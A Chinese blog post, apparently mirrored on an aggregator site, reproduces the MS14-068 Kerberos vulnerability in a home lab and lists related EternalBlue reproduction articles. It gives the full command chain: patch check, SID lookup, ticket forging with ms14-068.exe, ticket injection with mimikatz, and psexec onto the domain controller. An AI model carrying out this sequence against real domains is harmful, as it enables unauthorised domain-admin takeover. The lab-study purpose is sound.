【MS14-068漏洞复现】

9月前作者：一纸-荒芜分类：Toy博客阅读(81) 违法举报

这篇具有很好参考价值的文章主要介绍了【MS14-068漏洞复现】。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

前言

ms14-068漏洞主要通过伪造域控管理员的TGT，将普通用户权限提权为域控管理员权限，以此来控制域控。只要服务器未打ms14-068补丁（KB3011780），在server 2000以上的域控服务器中，都可进行利用。

一、环境介绍

在本地搭建的环境
win-7作为域成员主机 IP：10.40.2.10
win-2008作为域控 IP：10.40.2.20

二、MS14-068利用条件

1、获取域普通用户的账号密码
2、获取域普通用户的sid
3、服务器未打KB3011780补丁
4、域控服务器的IP

三、利用步骤

1.查看域控是否打ms14-068漏洞补丁

使用systeminfo命令查看所打补丁，发现没有KB3011780，可以利用
【MS14-068漏洞复现】

2.获取域内用户的SID值

win-7登陆的域用户为zhangsan
使用whoami /all 命令查询SID
【MS14-068漏洞复现】

3.删除系统原有票据

klist查看当前缓存的票据
为了防止影响我们的操作,删除已有的票据 klist purge
【MS14-068漏洞复现】

4.生成票据

ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u zhangsan@hp.com -p HEpeng20001023 -s S-1-5-21-567080702-4146164500-2918825418-1105 -d win-2008.hp.com
【MS14-068漏洞复现】
并且目录下生成了TGT_zhangsan@hp.com.ccache文件

5.导入票据

使用mimikatz工具
kerberos::ptc TGT_zhangsan@hp.com.ccache
【MS14-068漏洞复现】

6.连接域控主机

直接使用IP地址失败，使用主机名成功
【MS14-068漏洞复现】

7.使用psexec反弹shell

psexec.exe \win-2008.hp.com cmd
【MS14-068漏洞复现】
成功执行ipconfig命令查看到IP地址，为域控主机IP，漏洞利用成功

总结

本次实验介绍了ms14-068的利用过程，域渗透需要学习的地方还非常多，继续加油！文章来源地址https://www.toymoban.com/news/detail-457300.html

到了这里，关于【MS14-068漏洞复现】的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：

领支付宝红包赞助服务器费用

漏洞复现-永恒之蓝（MS17-010）

目录一，漏洞介绍 1，永恒之蓝是什么？ 2，漏洞原理 3，影响版本二，实验环境三，漏洞复现四，利用exploit模块进行渗透永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”

2024年02月13日
浏览(73)
ms17-010（永恒之蓝）漏洞复现

目录前言一、了解渗透测试流程二、使用nmap工具对win7进行扫描三、尝试ms17-010漏洞利用四、结果展示总结 🌈嗨！我是Filotimo__🌈。很高兴与大家相识，希望我的博客能对你有所帮助。 💡本文由Filotimo__✍️原创，首发于CSDN📚。 📣如需转载，请事先与我联系以获得授

2024年02月09日
浏览(37)
永恒之蓝（MS17-010）漏洞复现

目录漏洞简介漏洞描述影响版本复现环境攻击机 IP：192.168.109.132 靶机 IP：192.168.109.130 开启远程设置卸载全部安全补丁复现过程一、主机发现二、打开metasploit工具三、使用msf搜寻MS17-010漏洞四、使用MS17-010扫描模块，对靶机进行扫描 1.使用扫描模块 2.查看模块需要配置

2024年02月13日
浏览(47)
永恒之蓝漏洞复现(ms17-010)

永恒之蓝漏洞复现(ms17-010) 环境信息收集先扫描目标靶机IP 进入MSF查看是否存在永恒之蓝的漏洞攻击攻击机：kali 靶机：Windows Server 2008 对ip进行收集开放什么端口先扫描目标靶机IP 因为在同一个内网之中所以可以使用arp-scan -l 进行查询知道目标靶机IP（192.168.162.146）来进

2024年03月25日
浏览(51)
【ms17-010】永恒之蓝漏洞复现

准备工作攻击机：kali，ip：192.168.56.128 靶机：windows server 2003，ip：192.168.56.132 工具：nmap(扫描)、msf 漏洞利用首先我们先在攻击机上使用nmap扫一下该网段主机的存活情况此时已经扫描出来了，ip为： 192.168.56.132 的主机开启，并且显示了开放的端口号。然后我们可以使用：

2024年01月19日
浏览(40)
永恒之蓝ms17_010漏洞复现

攻击机：Linux kali（IP：192.168.52.132）靶机：Windows 7（x64）（IP：192.168.52.130）条件：靶机防火墙关闭，两台机子能够相互ping通，靶机445端口开启（永恒之蓝漏洞就是通过恶意代码扫描并攻击开放445端口的 Windows 主机）登录 kali linux，用 nmap 探测本网段存活主机 nmap 192.168.5

2024年02月11日
浏览(38)
《MS17-010(永恒之蓝)—漏洞复现及防范》

作者： susususuao 免责声明：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。 - 永恒之蓝永恒之蓝(Eternal Blue)是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。而SMB服务是一个协议名，它能被用于Web连接和客户端与服

2024年02月06日
浏览(86)
ms17-010（永恒之蓝）漏洞复现与处理

ms17_010 是一种操作系统漏洞，仅影响 Windows 系统中的 SMBv1 服务。这个漏洞是由于 SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统，并执行任意代码。这个漏洞通过 445 文件共享端口进行利用，一旦攻击者成功利用该漏洞，就可以在目标主机上植入

2024年02月09日
浏览(43)
MS17-010（永恒之蓝）漏洞分析与复现

一、漏洞简介 1、永恒之蓝介绍: 永恒之蓝漏洞（MS17-010），它的爆发源于 WannaCry 勒索病毒的诞生，该病毒是不法分子利用NSA（National Security Agency，美国国家安全局）泄露的漏洞 “EternalBlue”（永恒之蓝）进行改造而成。勒索病毒的肆虐，俨然是一场全球性互联网灾难，给广

2024年02月02日
浏览(39)
永恒之蓝漏洞复现(ms17-010)----保姆级教程

攻击机: kali Linux 靶机： win7 x64 提示: 复现攻击前请关闭杀毒软件 1.复现第一步按以下操作打开 445端口: 在 \\\"运行\\\" 里输入: regedit 打开注册表编辑器

2023年04月08日
浏览(45)